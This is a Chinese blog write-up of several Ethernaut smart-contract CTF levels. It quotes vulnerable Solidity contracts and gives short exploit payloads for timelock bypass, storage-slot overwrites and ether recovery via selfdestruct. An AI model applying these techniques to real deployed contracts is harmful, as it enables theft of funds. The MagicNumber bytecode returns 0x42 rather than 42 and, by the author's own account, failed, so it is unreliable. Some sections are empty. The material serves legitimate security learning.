智能合约 CTF 入门:ETHERNAUT WRITE UP (完)

还有最后几道题,赶紧刷完,加油冲鸭!

Naught Coin

题目要求我们把自己的余额变为0,但是限制了我们使用转账函数,源码:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';

 contract NaughtCoin is StandardToken {
  
  using SafeMath for uint256;
  string public constant name = 'NaughtCoin';
  string public constant symbol = '0x0';
  uint public constant decimals = 18;
  uint public timeLock = now + 10 years;
  uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000);
  address public player;

  function NaughtCoin(address _player) public {
    player = _player;
    totalSupply_ = INITIAL_SUPPLY;
    balances[player] = INITIAL_SUPPLY;
    Transfer(0x0, player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
}

这里找到了定义和接口,StandardToken.sol 文件还有另一个转账方法 transferFrom(),在 ERC20Lib.sol 里跟进一下具体的实现:

function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
    var _allowance = self.allowed[_from][msg.sender];

    self.balances[_to] = self.balances[_to].plus(_value);
    self.balances[_from] = self.balances[_from].minus(_value);
    self.allowed[_from][msg.sender] = _allowance.minus(_value);
    Transfer(_from, _to, _value);
    return true;
}

发现这个方法不仅要钱够,还有个 allowed 变量的限制,接着往下有个 approve 方法也操作了这个变量:

function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
    self.allowed[msg.sender][_spender] = _value;
    Approval(msg.sender, _spender, _value);
    return true;
}

那么就很简单了,首先调用 approve 把所有的钱设置为可以转账的,在调用 transferFrom 转账即可。payload:

contract.approve(player,1000000000000000000000000)
contract.transferFrom(player,contract.address,1000000000000000000000000)

Preservation

题目要求拿到合约所有权,源码:

pragma solidity ^0.4.23;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

这个题说实话根本不知道从何下手,需要改变 owner 才能过关,但是合约中没有任何跟 owner 交互的函数,果然是 difficulty 8/10 的题目。看了看师傅们的 wp,发现问题还是出在 delegatecall() 上(见这篇文章DELEGATION部分), delegatecall() 只会调用其他合约的代码,而变量还会接着使用原合约的,甚至更改变量也是在原合约的基础上更改(用位置做索引),因此这个 delegatecall() 调用过程是这样:首先调用合约 timeZone1Library 的 setTime() 函数,在这里更改了变量 storedTime 的值,这个变量是合约的第一个变量,对应的 storage 地址是 slot1,但是目前操作的变量都是原合约Preservation 的变量,因此会将合约 Preservation 的 slot1 (变量 timeZone1Library)替换为 _time(Solidity 是世界上最好的语言!)。明白了原理,直接编写 exp 即可:

Locked

题目有注册功能,但是被锁住了,只要成功注册即可过关,源码:

pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked {

    bool public unlocked = false;  // registrar locked, no name updates
    
    struct NameRecord { // map hashes to addresses
        bytes32 name; // 
        address mappedAddress;
    }

    mapping(address => NameRecord) public registeredNameRecord; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses
    
    function register(bytes32 _name, address _mappedAddress) public {
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 

        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 

        require(unlocked); // only allow registrations if contract is unlocked
    }
}

题目的考点是在 NameRecord newRecord; 这样定义的 struct 默认在 storage 上,对应到这个题目的环境,就是 newRecord.name 在 slot0,newRecord.mappedAddress 在 slot1,而 unlock 在storage 上对应的位置也是 slot0。也就是说可以通过控制 newRecord.name 来控制 unlock 变量的值。payload:

contract.register("0x0000000000000000000000000000000000000000000000000000000000000001", player)

Recovery

题目有个套娃合约,创建的时候会创建一个子合约并向其转账 0.5 ether,我们要做的就是把子合约的 0.5 个 ether 销毁挥着转走。源码:

pragma solidity ^0.4.23;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Recovery {

  //generate tokens
  function generateToken(string _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  function() public payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address _to) public {
    selfdestruct(_to);
  }
}

由于区块链的公开性,所有内容都可以在这个网站找到,直接搜索我们的合约地址,查看交易:

果然发现了一个创建合约的交易,跟进这个交易查看具体信息:

图中标注的即为创建的地址合约,再查看新创建的合约的交易:

果然有人转账了 0.5 ether,源码中有销毁合约的接口,直接部署到 remix 上把钱拿回来即可。

颜文字越来越可爱了

此外,看了看别的师傅的 wp,发现还有一种做法是通过计算获取地址。由于区块链系统任何事物都是可计算的,因此合约地址也可以预测。参考文章

MagicNumber

题目要我们提供一个 solver 来返回正确的数字,源码里有个 42,那么就部署个合约只能返回 42,将地址传给目标合约。但是有一个难点在于,题目要求了攻击合约的 opcodes 小于等于 10。

图片来源

首先我们先了解一下什么是 opcodes。在一个合约创建时,实际上是创建者向区块链网络发送了一笔交易(为了使网络能区分出这是创建合约的请求而非正式的交易,这类交易的接收方会被置空);随后 EVM ( Ethernet 虚拟机 ) 会把 Solidity 编译为字节码 ( bytecode )。

字节码分为两部分,第一部分叫初始码(initialization code),主要功能是执行合约的构造函数,并给与合约地址,剩下的部分叫做 runtime code ( 实在不知道怎么翻译 ),最后他会返回到 storage 中并与合约关联,以便日后的调用(可以理解为 runtime code 就是合约的方法的具体实现)。(以上内容参考这篇文章

也就是说,我们想要过关必须实现一个 return 42 的操作并且让这个操作的 runtime code 小于 10,那么直接看看 return 对应的 runtime code。

return 操作码需要两个参数(return(p, s)),其中 p 是返回变量在内存中的位置(position),s 是返回变量的长度(size),也就是说我们不能直接 return 42,需要先把他放到内存中。内存定义变量的对应的操作码是 mstore,mstore 与 return 一样需要 p 和 s 两个参数来定义位置和值,所以我们最后的 payload:

6042    // v: push1 0x42 (value is 0x42)
6080    // p: push1 0x80 (memory slot is 0x80)
52      // mstore

6020    // s: push1 0x20 (value is 32 bytes in size)
6080    // p: push1 0x80 (value was stored in slot 0x80)
f3      // return

// 604260805260206080f3

这个题到最后没复现出来,不知道是哪里出了问题,再加上这道题实在是过于硬核,就先咕咕咕了。

Alien Codex

Denial

最后一题 shop 404 了没法做,所以这个系列就算通关了,完结撒花~

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.